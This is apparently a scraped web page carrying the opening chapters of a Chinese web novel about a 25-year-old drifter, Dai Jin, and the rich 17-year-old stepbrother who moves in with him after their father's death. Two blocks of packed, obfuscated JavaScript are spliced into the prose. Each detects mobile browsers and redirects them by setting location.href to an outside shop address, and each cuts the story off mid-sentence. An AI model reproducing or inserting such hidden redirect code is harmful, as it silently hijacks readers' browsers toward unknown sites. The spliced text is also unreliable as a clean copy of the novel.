《不要和哥哥对着干》 1. 【烬】糖棍 “孩子判给你了。” 律师坐下后便开门见山。 黛烬:? “我未婚未育,今年是单身的第二十五个年头,哪儿来的孩子?你一个律师,知道造谣犯法吧?” 律师面不改色,从公文包里拿出早已准备好的合同,先是自报家门,像个敬业的NPC,照着准备好的稿子念。 “黛先生,我是临家的私人律师纪良。您的生父临朗临先生于昨日凌晨六点发生车祸,于七点五十二分正式确认死亡,目前与第二任妻子临女士自动离婚。 临先生生前与临女士育有一子,但在法庭上,孩子与临女士彼此都拒绝今后有所往来。 依照联盟律法,孩子如今未成年,临女士表示愿意支付抚养费。您身为临先生与第一任妻子的长子,在血缘上为他的兄长,有权代为抚养。” 黛烬听完律师的好心告知,先是一愣,然后拍拍屁股就想走人,走之前没骂街都已经算是他教养好了。 “关我屁事,我妈早和他离婚了,姓临的自己的种,他死了,想让谁养谁就要养?我只是有权利,但没义务替他养孩子吧?” 纪良扶了扶眼镜。 “您有权拒绝,但可以先听一下临先生的遗嘱,其中有与您相关的部分,听完再做决定也不迟。” 黛烬憋了口气,发现自己还真的拿律师无可奈何,又对这个去死的爹抱了点不多的希望,犹豫半晌终究还是坐下。 他不知道从哪儿摸出来一根棒棒糖,没看味道,拆了包装就含进嘴里。 律师前前后后足足念了三页纸,黛烬脑袋都听大了。 他边听边揉太阳穴,听了半天总算是明白了。 黛烬把嘴里还没化完的糖一节一节,恶狠狠地咬碎,顾不得塑料杆上的渣子被混着甜味刮进嘴里,最后把不知何时已经断裂的糖棍扔进垃圾桶。 他咬牙切齿,简而言之。 “意思是姓临的三百万遗产归他儿子,两百万的债归我?” 律师难得有点不好意思,NPC固定尴尬就挠头。 “临先生的意思是,这笔钱的话语权在临少爷手里——” 黛烬一听这个“少爷”称呼就觉得扎耳朵,但身价三百万也真是个宝贝疙瘩,他正想找个理由怼律师,手机就忽然响起。 是个陌生号码。 黛烬其实没有接陌生号码电话的习惯,他讨厌和卖保险的,搞诈骗的,以及搞推销的虚与委蛇。 但这个电话时机来得太好了。 真是瞌睡了来枕头,可以不落枕睡个好觉;心烦了来根带棍儿的糖,可以在甜蜜中消磨时间。 他正好顺势举起原本就想制止律师说话的手,表示自己接个电话。 只听黛烬几声“嗯嗯”后,就喜滋滋地挂了电话,他忽然得了个正当理由,现在可以有理有据地怼律师。 “什么临少爷?姓临的给人家当上门女婿姓临姓上瘾了我管不着,但是临燃这小子现在说要跟着我和我妈姓,以后姓黛,全名黛燃。” 律师识趣地配合着改口。 “抱歉黛先生,临先生的意思是这笔遗产属于黛燃先生,决定权在他,他愿意的情况下,就能拿去帮您还债。” 这下黛烬笑不出来了。 “帮”他拿去还债。 听了都让人想笑。 * 第一次见这个宝贝疙瘩弟弟,是在一个堪称风和日丽的下午。 黛烬嘴里叼个棒棒糖,坐在接待台后面光明正大地玩手机,逮到闲暇时间就和朋友闲扯。 【dj】:下班有空不? 【尤】:谁下班?我不上班。 【dj】:滚蛋,我下班,尤大少不上班。 【尤】:手痒,想飙车? 【dj】:懂我,你车蛮好开的。 【尤】:懂了,你几点下班?我去接你,我今天晚上约了牧家老二一起,老地方。 【dj】:谁?不认识。 【尤】:上次飙车认识的新朋友,不认识我介绍你认识,下班时间告诉我,再给我发个位置。 【dj】:哟,尤京少爷追了我这么久,连我在哪儿上班都不知道?还好意思说喜欢我? 【尤】:…… 【尤】:你一星期能换仨工作,上次在花店,上上次在酒店当前台,行踪不定的,我又没派人跟着你,当然得问问。 【dj】:你不会查吗?有钱人不都这样? 【尤】:随便查人信息违法,我是守法好公民。 黛烬看到这里差点笑出声,把嘴里棒棒糖的棍儿从右扒到左。 还好公民,谁家好公民像他这样,一天天正事儿没有,就知道混迹各大酒吧,不是泡酒就是泡人。 但谁让人家有这个资本呢? 黛烬两手快速打字,正要回消息,耳边就忽然传来一声从未听过的称呼。 “哥。” 黛烬身为独生子苟活了二十五年,第一次听见有人叫他哥。 手指不小心按到删除键,手机“嗡嗡嗡”的震动,把刚打出来的消息一连串全都删了个干净。 黛烬抬起指头,看着空空荡荡的输入栏懊恼地皱起眉,但最终还是没再打,息了手机站起身准备工作。 拿人钱就替人办事。 该工作的时候,黛烬还是会认真做事,尽量对得起老板给他开的三千月薪。 棒棒糖在嘴里含了一下午,巨大的糖球化了个没影儿,就剩下点儿甜味挂在棍子上,不把棍儿拿出来也不影响他说话。 他从那声“哥”的话音判断来人应该是个男性,便从刚培训完的员工手册里按要求挑出来一句迎宾。 “先生请问您找谁?” 黛烬问完话就顺势抬起头,四目相对时,黛烬含在嘴里的糖棍儿都差点惊掉了。 他发誓,他这辈子从没看过这么好看的人。 一向油嘴滑舌的黛烬少见的词穷了,一会儿觉得形容词词库还是太少,一会儿又觉得配得上这张脸的词汇大概还没出生。 他只得祭出最有含金量的形容。 比他妈还好看。 黛烬忍不住用牙齿轻轻刮擦嘴里的糖棍,升起的温度让吸附在棍儿上不多的糖,顺着化进口腔。 这脸长得,真他妈合他胃口。 喜欢死了。 黛燃其实也有点紧张,但还是先一步靠近,将那个称呼又喊了一遍。 “哥。” 又一声“哥”喊完,两人均是半天没作声。 直到工作室老板下班,开门一看两人杵在那儿,也傻眼了。 他新招的前台也不招待人,就搁那儿干站着发呆,他反应过来连忙几步走过去,猛地拍了下黛烬的肩! “黛烬,发什么呆呢?来了老板不知道招待?” 黛烬眼看要被骂,面前的黛燃又主动走近几步,看样子要给他解围。 “你好,我不是老板,我来找我哥。” “你哥?” 老板环顾四周,没看到除了他们仨以外的第四个人,不懂就问。 “谁是你哥?” 黛燃指指两手插兜站在一边,看起来事不关己高高挂起的黛烬,这是他今天第三次单方面承认和黛烬的关系。 言简意赅。 “他,黛烬,是我哥。” * “我叫黛燃。” 短短四个字,黛烬花了这辈子最长的思考时间去消化。 黛燃。 □□□原来他就是黛燃。 □□□□□□身价三百万的宝贝疙瘩。 □□□怪不得敢叫他哥。 心寒。 喜欢死了。 前半辈子看上的第一个人,居然是他后半辈子最讨厌的,初次见面的弟弟。 被老板下了班的黛烬什么东西都没收拾,无业一身轻,带着黛燃走出这栋商住两用的居民楼。 黛燃边走边偷偷看他。 “哥,你抽烟吗?” 黛烬把误会当家常便饭,他拿出叼了一下午的糖棍儿,主动伸到黛燃面前。 “没钱抽烟,这是上一份工作的好心同事给的糖。” 黛燃又问。 “哥,是花店的同事吗?” 黛烬将糖棍儿顺手丢进路边的垃圾桶,丢之前还看了眼垃圾桶的标识,确认没问题才往里扔。 “调查我?犯法知道吗?” 其实黛烬也是刚知道这犯法,但这不影响他用尤京的话教育别人。 知道黛燃的身份后,少年说什么话都不讨黛烬喜欢。 “哥,你怎么总做招待的工作?” 这话真难听。 但黛烬不介意用更难听的话描述自己。 他说话不再带笑,又恢复了一贯的刺挠。 “你哥我靠脸吃饭,懂不懂?当招待才有人要。” 花店卖花,酒店前台,公司前台。 哪个不算看脸的招待? 黛燃还是个高三学生,不理解工作的事情,他从书包里拿出一份准备好的资料递给黛烬。 黛烬本来不想接,但手就是不受控制地好奇,一向不爱看东西的他,把资料接过来仔细翻了一遍。 嘴里没了糖棍儿,说话更方便。 “你想改我的姓?成啊,你出钱咱俩找地方做个亲子鉴定,有证明就能改,你虽然和我妈没血缘关系,但是和我关系不浅,拿个兄弟证明,程序上应该能勉强走得通。” 黛燃却出乎意料地摇头。 “我和你没有血缘关系。” 黛烬差点儿以为自己听错了,耳朵不好使。 “什么东西?” 黛燃说得一本正经,却说得黛烬石破天惊。 “我的生父不是临朗,我和他没有血缘关系,你是他的儿子,所以正常情况下,我和你应该也是没有血缘关系的。” 黛烬花了足足五分钟才消化掉这个重磅信息,像是听了个天大的好消息,高兴得差点原地放一管电子二踢脚。 他算回过味儿来了。 原来姓临的能攀上临家这个豪门,不是只靠张脸,而是靠给人当接盘侠。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531607|203703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他笑得前仰后合,乐不可支,笑得眼泪都出来了。 原来他爸前半生都替别人养儿子去了,还自以为是地舔着脸乐了半辈子呢! 哦不对。 黛烬在心里严谨地替他爸纠正。 不是前半生,也不是半辈子。 他爸个短命鬼,就活了前半生,但是蠢了一辈子。 真替他妈高兴。 黛烬擦掉眼角的泪,终于正眼儿瞧了黛燃一次。 “这事儿姓临的知道吗?” 黛燃没有抱歉的意思,也没想隐瞒,实话实说。 “不知道。” 黛烬心里高兴,连带着看这个弟弟都顺眼了点儿,他收回视线,把黛燃给他的几张资料洗牌一样翻翻。 他把盖在最上面的一张恢复成刚拿到手时的样子,然后和剩下几张叠在一起,勉强弄整齐,一把塞到黛燃手里,拍拍。 “那你还改姓,你怎么改?” 黛燃握着改名的申请报告,问得认真。 “哥,你愿意让我姓黛吗?” 黛烬觉得好笑,说出的话任谁听了都觉得伤人。 “这事儿能是我说了算吗?你又不是我黛家的种。” 无家可归的黛燃却听不懂黛烬话里的阴阳怪气,是个货真价实的实用主义者。 “哥,只要你愿意,我就能改。” 黛烬独自走在前面,不想面对自己稀巴烂的人生,更不想面对在他稀巴烂人生里横空出世的金疙瘩二世祖,随口就是敷衍。 “你靠什么改?” 黛燃使出他的杀手锏。 “拿钱摆平,母亲教我的。” “……” 黛烬彻底服了这帮万恶的资本家。 没人教他能这么做事,特权主义真是平等社会的蛀虫,害群之马。 但他又忍不住想,其实他本来就该与这群万恶的资本家是一丘之貉。 如果那三百万给他的话。 如果他有这么多钱,足够他做出一番事业,运气好的话,说不定很快就能跻身富一代之流。 这样只靠他自己就能跨越阶级,而不是像他爸那样给人家入赘。 再或者,如果当初他爸也把他带去临家? 黛烬借着路边的反光材料,默默打量起黛燃的打扮。 一身英伦风的贵族校服,高中生穿上,简直比成年人穿高档西服看着还要尊贵。 校服解开,里面的内搭看不见牌子,但光看材质都知道不是一般人穿得起的。 都说冬天贫富差距最明显,越有钱穿得越体面。 黛烬虽然买不起,但各行各业混迹久了,倒是长了一身识人的本事。 看人先看鞋。 他的视线略过黛燃全身,快速扫到脚下,看黛燃脚上穿的是双新鞋,价签都没摘。 据说现在流行这种穿法。 这种牌子货的鞋,细到连价签都做得极具设计性,也不割脚,设计师完全是当个正儿八经的装饰品做的。 他觉得黛燃恨不得连脚下不见人的袜子都穿名牌货,事实上黛燃也确实是这么做的。 黛烬看够了,收回视线。 要是他也姓临的话,临烬,是不是走哪儿都能被人称一句“临少爷”? 那不得爽死了? 怪不得姓临的死都要姓临,这姓真值钱,他姓他也过好日子。 那他妈怎么办? 被他爸害了的是他妈。 他对不起他妈。 两人都站在路边,只隔了一步远,却像是隔着一道看不见,正常情况下这辈子都跨不过去的天堑。 僵持不下。 黛烬不自觉就慢慢垂下了头,还没看到地,眼前却忽然停下一辆红色超跑,尤京按了按喇叭。 “上车。” 生活终于把黛烬从窘迫中解救出来,他头也没回,逃也似地上了尤京的车。 两人之间,还是黛燃率先跨过了那一步,一步又一步,他着急地快步跑到车边,扒拉着车门喊黛烬。 “哥,你去哪儿?” 黛烬懒得解释,只恨那根糖棍丢得太早了,嘴里已经尝不到甜味。 这棒棒糖就像他本人一样,外表年轻好看,带着厚厚的,让人感到新奇有趣的糖块,短暂又诱人。 直到糖被感兴趣的人含化了,尝尽味道,才能发现内里是一根早被生活榨干了的糖棍,又空又硬。 光秃秃的糖棍迟早要被人嫌弃地吐掉,只有诸如黛烬这种有素质的人(他自封的)还知道要强撑着心情做垃圾分类。 黛烬嘴上不在意,可一见到黛燃这张脸,那句“怎么总做招待的工作”就又在脑子里自动播放一遍。 挥之不去。 解释是性价比很低的事情,没几个人能信他,还不如将错就错,反正他也不是什么需要给人守身如玉的好人。 没那么值钱。 黛烬只撂下一句话,就扭头收回视线不再看黛燃,和跑车一起扬长而去。 “去卖|身,都说了,你哥我靠脸吃饭。” 2. 【燃】绳子 “临少爷,临总让我来请您去前厅接待宾客。” 临燃最讨厌应付这些人脉关系,葬礼都结束了,他本想在休息室躲懒,却还是逃不过母亲的命令。 他有点不耐烦,但没表现出来,只是默默把弯下的腰直起来。 没人的时候他可以偷偷懒,但来了人,就得坐有坐相。 临燃顾着体面,礼貌颔首。 “我知道了,谢谢临胜叔叔,我马上来。” 目送临胜的背影离开视线,临燃这才轻舒一口气,慢悠悠地站起身。 他站直身体,微微低头,在桌上找到了那根参加葬礼时系的绳子,拿起来随手绕在手腕上。 他的手腕很细,绳子又出奇的长,绕了快十圈才勉强系上。 系好绳子,临燃才放心地离开。 到了前厅,室内的宾客一眼望过去,临燃都想用“数不胜数”来夸张地形容人数。 尽管内心不喜,但他也丝毫不怯场,众人一见他出现,都纷纷端着酒一一上前。 临燃不一定记得这些“四面八方”的人,不是所有人的名字他都有义务记住的,他见人先看手腕上的绳子。 这是进会场时,由临家的亲信一一核实过身份,挨个派发的麻绳。 绳子越长,代表来参加葬礼的人与临家的关系越密切,是需要联络并维护关系的身份。 临燃从桌上顺了杯酒,视线从众人手腕上一一扫过,就知道应付人脉关系的先后顺序了。 这个过程是漫长又枯燥乏味的,临燃觉得自己的时间宝贵,总是想在自己的人生中将其一笔带过。 一笔带过。 临燃和人碰杯,别人喝一杯,他喝一口,就这样前前后后还喝了足足三杯。 他明显有点受不住了,找了个角落吃点东西缓缓。 不远处的临漾默默观察情况,对儿子的表现还算满意,主动上前将剩余想交流的客人引开,给临燃留出机会休息。 临燃看母亲终于帮他解围,知道这是可以离开的信号,他随便吃了点东西,趁人不注意,偷偷从后门开溜。 他边往外走,边伸手去解腕上的绳子,目标明确地往垃圾桶边走。 行至路边时,绳子刚好已经解下,他看也不看,直接丢进垃圾桶里。 披麻戴孝。 葬礼结束,他便把这根麻绳丢的越远越好。 不好意思,他还要赶场次。 晚安父亲,再见母亲。 你好,哥哥。 * 教室内。 物理老师老胡坐在讲台中央,手里握着电子笔,在教学用的电子主板上写下一道公式。 F=kx 然后给公式外围用绳子般的线条画上个圈,这是他的小习惯。 仗着所有人上课都戴了耳机免打扰,一般的窃窃私语听不到,临燃的同桌便摘下耳机在一旁小声和他吐槽。 “这老胡,写字不画圈好像就讲不下去课了一样。” 临燃听完季随之讲给他的悄悄话,又把小幅度挪开的耳机重新严丝合缝地戴上,没反驳。 季随之觉得他这算是默认,习惯了他对外冷冰冰的样子,只要临燃挪了耳机听他说话,他就不觉得被驳面子。 看临燃在认真听课,他自觉不打扰,又侧身和另一边的同桌闲扯去了。 临燃正襟危坐,看起来像是时刻准备接受电视台采访一般。 只见他手里拿着笔,眼睛紧盯学生用的,同步了老师主板画面的电子分板,耳朵听着课。 全神贯注。 定制的全包耳机听不见外界的吵闹,只清晰地传来老胡的声音。 “胡克定律。” 公式又被画了个圈,老胡顺手在下面画上两条横线。 “这高三了,废话我也不多说,老规矩,只重复知识点,听得懂的人复习,忘了的抓紧听。” “说的是啊,在弹性限度内,弹簧的弹力F,与它的形变量x成正比。这个劲度系数k啊,由材料本身决定……” 耳朵里听着“弹簧”,眼睛盯着老胡画的“圆圈”。 刚才被季随之打了一岔,临燃就理所应当地被老胡画的圈吸走了注意力。 他把红笔画的圈看成了绳子。 绳子。 弹簧。 本质上都差不多吧? 都是一旦被拉动,本体就会产生形变的东西。 那么人呢? 如果他对一个人施加源源不断的力,对人好,那么这个人会不会也能产生形变量x? 理论成立。 哥哥也是人。 那就意味着这套理论对哥哥也成立。 当然临燃也没忘记老胡的悉心教导,一切力的发生,都得是在弹性限度内,这样定律才能成立。 他可不能让绳子断掉。 但他不知道黛烬的劲度系数k是多少。 不过黛烬,人如其名,应该蛮带劲的吧? 只要在绳子断掉之前,他控制好力F,不要太大,也不要太小,然后持续、稳定地施加。 那么哥哥总有一天会产生形变,他也能水到渠成地走到哥哥身边。 临燃就这样满意地畅想,讲台上的老胡忽然随手抄起一个橡皮筋,大概是想来个情景再现。 老胡也有老胡的烦恼。 “校长总说要我们多言传身教,讲课不要那么死板!那我就给大家演示一下哈,都看我看我,别低头看平板了!” 临燃心里的暖意还没散去,唇角还挂着笑,就眼睁睁看着老胡用他有力的臂膀,一口气把脆弱的橡皮筋拉断! 只听“啪”的一声响。 临燃的睫毛颤了颤,连带着唇边的笑都跟着散了个一干二净。 绳子,断了。 下课铃响了。 到点儿了,老胡一刻没多留,拿着自己断掉的橡皮筋,头也不回地走人。 季随之将全包耳机一把撂到脖颈上,大摇大摆地走过来拍临燃的肩膀。 “走啊燃燃,好不容易放周假,放学打本走起!” 一语惊醒梦中人。 临燃像是白日里做了场没头没尾的噩梦,此刻才侥幸醒了过来。 这是周五的最后一节课,同学们三三两两的结伴,陆续往外走。 临燃摇摇头拒绝季随之的好意,拿起手边的书包就开始收拾东西。 “不用了,我今天要去找我哥。” 季随之难得诧异。 “哥?你不是临家的独生子吗,哪儿冒出来个哥?没听你提过啊。” 临燃收拾书包的手一顿,恍惚几秒,没多解释,又继续叠了卷子,心不在焉地往书包里塞。 书包被有序收拾好,临燃把它提起来,压在肩上。 感受着肩带传递给他的轻微的,确定的压力,临燃把肩带稍微往下拉了拉,像是在提前测试一根新绳子的劲度系数。 “以后是我哥。” * 临燃顺着熙熙攘攘的人流,被世界推着往前走。 他习惯性地拿手机,今天却不再是漫无目的地乱划,他有事情要做。 生在临家,他要认识很多人。 点开通讯录,里面挤满了爸妈从前给他介绍的人脉关系,上到二三区的星所所长,下到庄园的管家佣人。 这些人和他都是单方面的关系,他认识,或者认识他。 但绳子只拉一端,注定是绷不紧的。 要么拉绳的他松手,要么拉住他的人松手,只需要外界的一点风吹草动,绳子马上就松了。 人脉关系,就像人们用绳子串起来的网,边缘的人拉绳子,把簇拥在中间的人高高兜起。 众志成城。 他就有了家。 站在高处的人有机会决定边缘人的去留,走了一个,就指挥着换上拉绳子更厉害的人接替,一去一留,一来一走。 这样站得高的人就能站得更稳,站得更高,站得更久。 但是临燃不想站着,也不想未来有一天摔下去。 所以他自己主动从网兜上爬下来,在地上捡了一根别人不要的,最短的绳子。 短的绳子才拉得紧。 他带着绳子离家出走,想找个人陪他一起拉。 脚下刚好经过法庭,临燃不自觉慢下步子,无声驻足。 哥哥爸妈离婚官司开庭的那天,他也去了。 那天是周一,小孩儿上学大人上班,所以没人和他抢旁听席的票。 他翘了周一早上的升旗仪式,坐在了密密麻麻的观众席上。 那天临燃其实是要作为学校里的优秀学生代表上台演讲的,每周都这样。 但是他觉得自己没什么好讲的,所以没打招呼就走了。 联盟规定,未满十八周岁的公民没有加入陪审团的权力。 但谁让他是特权主义? 小小的临燃个子高,口罩一戴,没人认得出他的身份,加入陪审团,他就可以帮哥哥做主了。 哥哥被他名义上的父亲推来推去,年幼的他不懂,父亲出轨有错在先是事实,哥哥生气和逃离都是应该的。 但是哥哥为什么死活不愿意跟着妈妈呢? 后来的他也坐上了法庭,身临其境,和哥哥做了一样的决定。 拒绝了母亲的抚养权。 原来不是哥哥不要妈妈,是妈妈不能要他。 妈妈一旦要了他,就会立刻从网兜上摔下来,然后身体淌着血汗泪,默默在脚下为他拉一辈子绳子。 绳子束着颈,拴着命。 但即便如此,被拴着绳子的母亲依旧在法庭上据理力争,声嘶力竭。 哥哥和妈妈争夺抚养权,他莫名觉得有点说不出的滑稽。 自己养自己,居然还要和别人争来争去? 那是他第一次见到那样激烈的爱,临燃不得不承认。 那样的爱,他没见过。 置身事外的临燃总觉得喉间也被勒了一口气,上不去下不来。 还好最后哥哥赢了。 无形的绳子,终于在那一刻卸了力。 临燃恨不得站起来为哥哥欢呼。 不过就这一点来说,他比哥哥幸运。 他不用争。 因为他的妈妈不要他。 他孤身一人,还不用净身出户。 太好了。 这意味着他将获得很多钱,至少到还不能工作之前,他都有源源不断的钱,可以养同样孤身一人的哥哥。 思及此,临燃低下头。 法庭前的地面,盲道和公道一样多。 一个一个触点有序排列,设计的时候大概是拉了绳子校准的,所以显得格外直。 临燃有意识地避开,继续往前走。 他点亮手机屏幕,从首字母为A的联系人开始处理,从上往下,把通讯录里的号码一个一个删掉。 虚伪的阶级假象,带着目的和阶段性的关系,临燃无比熟悉,又实在厌恶。 二十二世纪初,一场突如其来的巨大灾变席卷全星球,大半人类死亡,生态系统全面崩溃,淡水资源永久性枯竭。 就连原有的淡水也被严重污染,人们连最基本的喝水都成了奢望。 临家靠着独一份的制水和净水技术垄断了星球绝大部分的水资源,财富在短时间内堪称爆炸式地积累。 一下子从灾前的小公司摇身一变成了有名的商业巨头,联盟邀请他们举家搬迁至二三区,那是副中心区有名的新钱富人区。 吃水不忘挖井人。 临家有个不成文的规矩,受宠的孩子名字都带水。 比如他的姨母临澜,表哥临沨,母亲临漾,无一不是如此。 他却叫临燃。 他是临家唯一的异类,是插不进关系的断绳,是引燃绳网的点火索。 总有人是家族天生的叛徒。 就像勇猛的狼群也能阴差阳错养出一只没斗志的绵羊,他不想出去厮杀,总是孤独地寄居在热闹的狼群里。 想要的,不过是群居的羁绊和温暖。 是如此,但又不仅仅是如此。 通讯录内的联系人被临燃一口气删掉大半,他停了手,呼出一口气,抬头望天。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531608|203703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他心里清楚,他要的,其实是无条件的爱,唯一的爱,无可替代的爱。 他想要有人像渴求止咳糖浆般爱他。 是痛苦地咳出血后紧紧抓住唯一的救命稻草,用勺子珍惜又渴望地舀出一勺,一口气咽下去,浓烈到齁嗓子才能润到心的爱。 他要的是哪怕绳子束颈都分不开,让牵绳的两人同时窒息都不松手的爱。 那样的爱,他从前在法庭上见过。 那是哥哥的家。 临燃又低头,他继续删,不停地删,一直删到他的世界变得空白,不再有任何辅助人生行走的触点。 新人生,从此刻正式开始。 临燃颤抖的手指停了,深吸一口气。 新建了第一个想联系的人。 他毫不犹豫地给备注上写了【哥】,视线下移,却填不了电话。 他不知道黛烬的号码。 妈妈的秘书说还需要时间打听,让他再等等。 临燃犹豫几秒,最后还是空着这一栏,点了右上角的【保存】。 手机传来“嗡”得一声响,屏幕弹出一条提示把他拦住,他新人生的第一道坎毫无预兆地出现了。 (【电话】为空,保存失败。) 临燃不再往前走,他在原地站了很久,直到腿都站得微微发麻,他才想到好办法。 他滑动手机,看了眼今天的日期和时间。 2104年01月28日16:15:31 十一位的电话号码,他为了占位置,填了十四位。 【电话】:21040128161531 临燃这次成功点了保存。 下一秒,秘书用短信给他发来一个号码。 临燃只看了一遍就将其牢牢记住,然后在心里默写,给哥哥拨去电话。 这是他和哥哥说的第一句话。 “我是临燃,我想改姓。” 空白的通讯录,是他交给哥哥的第一份投名状。 在这个资源匮乏,阶级分明的星球上,脱离临家的他什么都没有了,未来的人生会难走到他根本无法想象,说不定连活下去都是个问题。 投出去的,是姓。 留给他的,是命。 黛燃没在电话里叫哥,不知道哪儿来的仪式感,他总觉得第一次叫这个称呼,得和他哥面对面。 他爸死了,他妈不要他了,他想要的爱没人能给他。 但2104年01月28日16:15:31,他有哥哥了。 黛燃确定。 只有哥哥,是注定要和他拴在一条绳子上的蚂蚱。 * 终于见到哥哥了。 再见哥哥。 □□□黛烬挥挥手就扬长而去。 □□□□□□“都说了,你哥我靠脸吃饭。” □□□黛燃又被独自留在原地。 再见哥哥。 不过他对孤独习以为常,继续往前走。 脚上的鞋子没剪价签,绳子和挂牌一起拖在地上,陪着黛燃找家的方向。 这种鞋子一般都不剪价签,设计师可能觉得有钱人没有走路的习惯,稍微一走,价签就要被磨掉。 黛燃注意到了,不过他不在意,他妈说过,坏了就代表着要买新的,不用在意这个。 他边走边想。 第一次去哥家里,哥肯定没有准备多余的拖鞋,他不想给人添麻烦。 因此回家的路上,他绕道去了一家常去的大型商超。 黛燃走到家居区,挑了双喜欢的拖鞋,那是他常穿的牌子,穿着很舒服。 他把拖鞋放进购物篮,刚要离开,推车的手忽然一顿。 新的想法冒了出来。 他马上就要回家,哥看了他买的鞋子,会不会觉得没有买自己的,觉得被区别对待了呢? 换成他可能会这样想,就当是他以己度人吧。 黛燃又走回去,拿了双一模一样的。 家本来就该是成双成对的。 他推着车子又买了些生活用品,最后前往柜台排队,学着前面人的样子去结账。 收银员给两双拖鞋扫了码,拿起专用的剪刀礼貌询问。 “您好先生,请问一下价签要帮您剪掉吗?” 黛燃看了眼拴住价签的绳子,思绪神游。 很久以前,照顾他的佣人阿姨也问过他这句话。 …… 年幼的临燃抱着最喜欢的玩具,那是他竞赛拿了奖,父亲买给他的。 这个牌子的玩具他最喜欢,不知道临朗是从哪儿打听到的他的喜好,但东西他确实喜欢,也由衷地感谢。 就连佣人阿姨都替他高兴,拿了剪刀过来。 “临少爷,价签要帮您剪掉吗?” 临燃点点头,尽管还是抱着玩具不撒手,但他不妨碍别人,乖乖地把绳子捋直了等着阿姨去剪。 “谢谢。” 绳子被剪掉,和价签一起扔进了垃圾桶。 家里很多人都知道他喜欢这个玩具,因为家里真的有很多人。 但再到后来,无论是逢年过节还是生日派对,他再也没看到过这个牌子出现。 …… 黛燃摇摇头,拒绝了好心的收银员,就像替当年的自己拒绝好心的佣人阿姨一样。 “不用了,谢谢。” 剪掉绳子,去掉价签,这个世界上就没人记得他喜欢什么了。 他不能剪。 结了账,黛燃心满意足地拎着新买的生活用品继续往前走。 他要回家。 他走得太久太远,鞋子上的价签已经快被完全磨掉,绳子拖在地上,见了垃圾就要牢牢地黏在一起。 去哥哥家的路不好走,绳子又不小心混了些泥沙。 黛燃低头看了看。 这根绳子不长,但好在用钱堆出来的绳子足够牢固。 他想,等哥哥记住了他的价签,他就把这根绳子剪下来。 他会把不小心脏掉的绳子洗干净,一头拴住他的喜欢。 另一头,可以试试看拴住哥哥。 3. 【烬】价签 黛烬在外面潇洒到傍晚,才一个人溜达到家门口,把全世界都抛到脑后。 一路走到三楼,他脚步轻,连声控灯都没被震亮,像是在有意减轻自己带给这个世界的存在感似的。 钥匙刚插进锁孔,还没来得及转,耳边就又传来一声耳熟的叫喊。 “哥。” 声控灯触发感应条件,然后黛烬的整个世界都跟着亮了。 他被结结实实吓了一跳,酒都醒了大半,一低头,这才发现蹲在他家门口的黛燃,他吓得直拍胸口。 “你哪儿来的?” 黛烬开了这个话头,是准备无论对方说什么,他都可以顺道接一句“哪儿来的滚哪儿去”。 黛燃却没给黛烬接话的机会。 他又累又困,话没听清,以为黛烬是问他怎么来的,他实话实说。 “走路。” 黛烬:? “你走回来的?” “嗯。” 黛烬震惊得无以复加。 这么长的路,尤京的超跑都得开半小时,黛燃居然全靠一双脚走。 他下意识看了眼黛燃的鞋。 初次见面时,那儿还挂着个崭新的价签,现在已然被磨得没影儿了,这证明黛燃确实没说谎。 他真是走回来的。 黛烬又惊又气。 “你车呢?” 黛燃揉揉眼睛站起来。 “我是未成年,不能开车。” 从黛燃嘴里听到这话,黛烬简直没话说了,他忽然想怒吼。 “你他妈不是特权主义吗?未成年还能碍到你事儿了?” 黛烬一时间无所适从,手都不知道要往哪儿放才好,他第一次遇到这个场面,只得无奈叉腰。 “就算没车,你不知道联系你家里人去接你吗?” 黛燃一听这话,把手机拿出来解锁,递到黛烬眼前。 黛烬看东西太快,只用一眼便扫清了屏幕画面里显示的格式,认出那是黛燃的通讯录。 他以为要看到一堆有钱的狐朋狗友备注,或者各种以“小”字开头的秘书司机,毕竟小说里都是这样写的。 他没当过有钱人,看个小说就当是见过猪跑了。 下一秒,黛烬的视线逐渐在屏幕的蓝光下变得清明,他没想到眼前的通讯录里,联系人寥寥无几。 黛燃的语气古井无波,却说得黛烬惊心动魄。 “哥,我没家了。” * 有些人被家里人抛弃,成了孤儿;有些人有家人,也觉得自己是孤儿。 不知道是出于什么原因,大概是觉得黛燃也和他一样成了孤儿,有种同病相怜的味道,黛烬破天荒地允许黛燃住进来。 黛燃就这样搬进了黛烬不大的家里,一晃几个星期过去。 黛烬继续找工作,现在去了一个小型工作室做客服。 黛燃给自己办了住校,周中都在学校,只有周末才回家,两个人相安无事。 但世上没有不透风的墙。 黛烬一向独来独往,不和他妈一起住,以前单休都是约了朋友出门,这几个星期却都不再主动联系。 尤京是第一个发现不对的。 黛烬刚下班就被尤京堵在公司楼下,敞篷跑车款式依旧,今天却换了色。 黛烬被人逮个正着,却不尴尬,神情自若地走过去拍尤京的肩。 “几个星期不见,给车颜色都换了,多少钱刷的漆?” 尤京忍住了没翻白眼,熟稔地给他拉开了副驾驶的车门。 “什么刷漆,这车新提的。” 黛烬上车后,尤京才绅士地替他关上车门,自己坐进驾驶座。 几个星期不见,两人依旧有话聊。 尤京从车里捞出一瓶没开封的山泉水递给黛烬,打量了一圈车内饰,又扫了眼后视镜看车身,越看越不满意。 “那帮子设计师推新款,样式都不带变一下的,不知道的还以为我穷到要去贴车膜换新鲜呢。” 要是谈车,黛烬还能接上两句,可是谈钱,那他就注定插不进去话题。 